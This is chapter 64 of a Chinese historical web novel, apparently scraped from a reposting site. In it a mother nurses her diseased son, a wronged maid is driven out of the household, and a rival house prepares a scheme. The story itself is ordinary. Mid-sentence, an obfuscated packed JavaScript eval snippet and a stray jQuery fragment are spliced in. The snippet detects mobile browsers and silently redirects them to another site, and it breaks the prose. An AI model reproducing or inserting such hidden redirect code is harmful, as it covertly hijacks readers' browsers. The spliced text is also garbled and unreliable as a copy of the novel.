陆拾肆
自常文远暴毙后,常凝荷完全没有余力去操办常文远的丧事,只因她一心扑在了独子的病痛上。
高稷的情况比她想象的更为棘手,苏州遍地的郎中都被带到了高稷的病床前,却于事无补。
高稷先是发热,接着便浑身起满红疹,又痒又肿,鼓起一个个鼓胞,高稷哪怕神智不清也依然坚持伸手去抓挠身上的伤口。
红疹被抓破,流出大片脓液,郎中千叮咛万嘱咐,要他千万不要去抓,不然非但无法治愈,还会越生越多,直到溃烂成疮,最后便是全身疮裂而死。
可高稷脾气上来了哪管这些,这日常凝荷仅是离开了病榻前一刻钟,去为他亲自煎煮汤药。
就在她捧着滚烫苦涩的药汤回房时,却看见紫檀榻上,有几位侍女手忙脚乱的围在榻边,高稷发出痛苦的呼喊,像是一只野兽般红了眼,嘴里低吼出声。
他伸着双手,不停地抓挠自己的颈部、腹部和大腿,雪白的中衣染上红疹流出的脓水,散发着一种难以言喻的腐臭味。
“少爷!您不能抓啊少爷!!”
侍女们神情焦急,伸手想要制止却又怕伤了少爷,但也不能任由少爷抓挠,力气也抵不过高稷,场面一时间陷入一片混乱。
“你们这是干什么!!”
常凝荷愤然出声,随手放下药碗就要上前,侍女们连忙为她让出一个空位,垂着脑袋不做声。
“稷儿!莫怕!娘在这儿!稷儿!!”
常凝荷面色焦急,她极力安抚着高稷的情绪,却丝毫不起作用,高稷的眼眸依旧浑浊,他已经很难察觉出身边人的身份了。
他奋力挣开常凝荷的手,没控制好力道直接将她推了出去,常凝荷重心不稳跌坐在了地上,装着药汤的药碗也被一同带着,随着一声清脆的响声,药碗碎了一地,滚烫的药汤溅到了一旁角落里的一名侍女。
“啊——!”
侍女被烫的惊呼出声,但下一秒,她死死闭上嘴,将剩下的声音咽回了肚子里。
床榻上,高稷的声响渐渐平息,他似乎有毫无预兆的陷入了昏迷,因此,众人的视线一时间都聚在了这个侍女身上。
侍女面容清秀,也是清水芙蓉,只是神情恹恹的,看起来像是在惧怕什么。
她蜷着身子,被烫伤的手腕被她连忙用袖子遮住,五体投地的跪在地上,说:
“都是奴婢的错,打翻了药盏,还请夫人恕罪,饶奴婢一命。”
常凝荷被人从地上搀扶起来,看着侍女的眼神里透着疑惑与不解:“你怎么还在这里伺候?”
“我不是说年后就将她发卖出去吗?年嬷嬷!”
话音一落,外头便走进了一位中年女子,一身藏蓝色的锻衣,步伐轻快,面色红润,看起来很是麻利干练。
年嬷嬷给常凝荷恭敬的行了一礼,问道:“夫人,不知您找老奴有何事吩咐?”
年嬷嬷是高稷的乳母,平日里深受常凝荷优待,就连衣物都同别的下仆不一样,面子自然也比较大。
可今日,常凝荷却没有给她多少好脸色,而是厉声质问道:
“年嬷嬷,你同我好好解释一下,为何这个丫头还待在我稷儿身边?!为何没有早早将她卖出去?”
年嬷嬷极快的瞟了一眼跪着的侍女,掩下眼神中的轻蔑,顺从道:
“回夫人,这都是老奴的不是,我看着这小丫头从小没了父母,要是卖给人牙子,不知道要吃多少苦,就自作主张,贬她去做了个粗使丫鬟,平日里近不了少爷的身。”
“若不是这段日子少爷身子不适,这小丫头也没法因为换水进内室。”
说着,她又转过头去教训那个侍女,怒骂道:“你个小贱蹄子!竟惊扰了夫人,还不快滚出去!”
“是、是!”
侍女被吓得抖如筛糠,连连磕了几个头,踉跄的跑了出去。
常凝荷冷冷注视着侍女离开的背影,冲着年嬷嬷道:“我决不允许这样的丫头留在稷儿的身边,我不管年嬷嬷有多忙,三日之内,必须把她撵出去。”
年嬷嬷无话可说,只能领命。
侍女跑出去后,也不知道该做些什么,这几天整个高府都围着高稷转,没人在意她这个小侍女,于是她只能躲在假山后面哭。
她低声抽泣着,不知是在担忧自己的未来还是在委屈,没有察觉一个脚步声渐渐走近。
“喂!”
侍女被吓得这个人震了一下,紧接着抬头,对上一张留下了明显岁月痕迹的脸,正是年嬷嬷。
年嬷嬷面色凝重,久久望着她,许久没有说话。侍女下意识的逃避她的眼神,凌乱的擦去脸上的泪珠。
年嬷嬷无声的叹了口气,伸出手将侍女从假山后拉出来,似是语重心长道:
“棠梨,你是个聪明孩子,你知道该怎么做。”
棠梨闻言,霎时间便急切的抓上了年嬷嬷的衣角,脸上写满了焦虑与不安,说:
“年嬷嬷,我真的要被卖掉了吗?我不行的,您救救我吧,我这样的婢女不会有人要的!”
年嬷嬷似是受够了她的纠缠,将自己的衣角一把从她手里拽出来,棠梨一个没站稳,重新跌坐回了地上。
年嬷嬷沉下脸来,眼色冷厉的对着她道:
“夫人都已经开口了,这个高府你是留不得了。”
棠梨脸色一变,听她接着道:“你回去就收拾东西,天黑之前离开高府,你的卖身契我会送到对接的人手里。”
说完,年嬷嬷的脸上露出狠厉,威胁道:“你也别挣扎了,老老实实的离开高府,嬷嬷我还能赏你一两银子傍身。”
说完,她从袖中拿出一个锦囊,随手丢到了棠梨的手边,接着便头也不回的离开了。
棠梨坐在地上呆愣了一会,接着大颗大颗的泪水便夺眶而出,她哭的甚是悲伤,哭了好一会儿,才拿起锦囊,跌跌撞撞的回了下人的房间。
----------------
高府书房内,常文济镇定自若的坐在本该属于男主人的位子上,手边堆了一些已经写好的令书,他拿起刺史印章,坚决冷静的盖了上去。
常凝荷听见下人们来报,立刻便找了过来,她步履匆匆的走过廊下,出现在了书房门口。
常文济听见了她的声响,却连头都不曾抬起来看她一眼,只是接着为手上的令书盖印。
常凝荷在原地站了一会,脸色极为难看,她抿着唇,似是在隐忍心中的不满。
僵持了半刻,常文济终于屈尊掀起眼皮,赏了她一个眼神,可这一下便点燃了常凝荷心中的怒火,她怒不可遏的来到书案前,重重的拍下桌面:
“你的侄子生死未卜,你这个当舅舅的在这作甚?!”
常文济垂下眼,不咸不淡的按下最后一张朱印,道:
“我不是派人给你寻了所有的郎中吗?这就是我这个舅舅做的了。”
说完,他整理好令书,起身便想走。
“慢着!”
常文济停下步子,身后的常凝荷走近几步,眼神晦暗,隐隐暗藏着担忧:
“你是要离开苏州?”
很明显,常凝荷还是瞄见那文书上的内容,比起生气,到更像是担忧他的安危。
常文济转过身,侧对着她,目光中闪过一丝若有若无的凉意,他的唇微微颌动,最终还是什么都没说,转身离开了书房。
常凝荷不自觉的伸出手想要制止,可手悬在半空,怎么都无法出声再次叫住他。
常文济是什么脾气,她这个做长姐的还不知道吗?拦也是拦不住的。
到这时,常凝荷或许也有几分后悔,后悔自己平时不该太过偏袒常文远,不然阿济与阿远的关系或者不会闹得如此僵,这样,至少还有个男丁能同常文济一起去,路上也有帮衬。
想到这,常凝荷抬起眼,看向窗外乌蒙蒙的天,空气中泛着潮气,她皱起眉。
“这才不到午时,怎的又要下雨了呢?”
常凝荷的眼中浮现出满满的不安,于是她转身回到了自己的暖阁,一回去便跪在了供奉的神龛前。
金漆木雕神龛上,南海观
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819747|167234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世音菩萨半垂着眼,面容慈祥的看着下方跪着的常凝荷,微微上扬的唇角含着无限慈悲怜悯。
常凝荷虔诚的闭上眼,双手合十的祈祷着,一边的侍女静立在原地,也不敢打扰。
她们也在心中暗自揣测,夫人在求什么呢?是高仪康复,还是高稷好转?
亦或是,那些她心底大逆不道的妄念。
但无论是什么,都无人得知。
而此时,在距离高府不远的明珠轩内。
今日轩内的气氛有些不对,客人明明不多,但轩内却异常繁忙,来往的小厮们忙着搬运东西,动静颇大。几位身着同样服饰的女子,则是忙着收拾轩内那些价值连城的首饰,将它们一一安放好。
而在人群中,有一人的装束与众人都不相同,明显是身份地位最高的人,正是流觞。
“老板。”一位名叫疏影的女子步伐匆匆的走过来,附在流觞耳边低语了几句,接着二人的目光同时一转,看向了那个正局促的站在门口,不安的朝里观望的女子。
流觞将她上下打量了一遍,接着以绢扇掩唇,和疏影说了几句话。
棠梨站在大门处,人来人往的大街让她无所适从,她尴尬的站在原地,心中有些焦虑,手中死死攥着那枚锦囊。
她的目光忽然看向了自己的粗布衣裙,想想自从被贬为低等仆役,她就已经很久没有来到大门外看看了,再看看这家装修富丽的布料铺,就连里头服侍的女子,穿戴的也可以和高府的一等大丫头一较高下了。
就在这时,疏影走过来,打断了她的思绪。
“棠梨姑娘是吗?”
棠梨懵懂的点点头,接着便看见疏影的嘴角露出了一抹和善的微笑。
“我们老板要见你,跟我来吧。”
就这样,棠梨顺从的跟上她,一直被带到了一个华服女子面前。
流觞找她要走了那个锦囊,伸手将里面的东西拿了出来,也是这时棠梨才发现,里面不是银子,而是一块小木牌、和她的卖身契、契籍文书。
流觞盯着木牌愣了一会,接着便莞尔一笑道:
“既然是这样,那就没办法了。”
棠梨一顿,猝不及防的撞上了流觞的目光,流觞含着笑,对着疏影吩咐道:
“明日,把她送出苏州,送到别的地界后,再找个对接的人好好看顾她。”
疏影恭敬点头:“是,老板。”
吩咐完,流觞最后深深看了棠梨一眼,转身离去了。
疏影带着棠梨下去了,流觞来到了后间,一位一直关注着外头动静的女子和她搭了话,两人看着交情不浅:“流觞姐,这位姑娘是谁啊,我怎么记得我在那见过呢?”
流觞出声提醒道:“那位是高府的下人,兴许是曾经跟着客人来过店里,又被你注意到了吧。”
女子的脸上露出了不解的神情,她蹙起眉,若有所思道:
“高府的人?那为什么会投奔到我们这里?”
这话一出,流觞眼底的笑意顿时散去,浮上冰冷的寒意:
“年嬷嬷来的信,无非是大宅院里头的污糟事,为着某人的一己私欲,毁了一个姑娘,最后还把罪责抖得一干二净,想要打发这个污点走。”
“左右破了身的奴婢,也只能被卖到勾栏瓦舍了吧。”
听她这么说,女子就已经了然于心了,脸上露出一丝对于那些大人物的鄙夷,愤愤的“切”了一声。
流觞看出了她的不满,便调转话头,说:
“把她送离苏州,找个楼里的人关照,想必很快就能忘掉过去,重新开始了吧。”
流觞略一思吟,转头问女子:
“对了,高府的事办的如何?”
女子立刻便露出了一副“你放心”的表情,拍着胸脯自豪道:“一早就准备好了,这可是楼主亲自安排下来的事,我们都上心着呢。”
说完,女子又佯装可惜的叹了口气,嘴角的笑意却怎么都止不住:
“希望那常夫人为她表弟设的灵堂别那么快拆,马上又能有用武之地了。”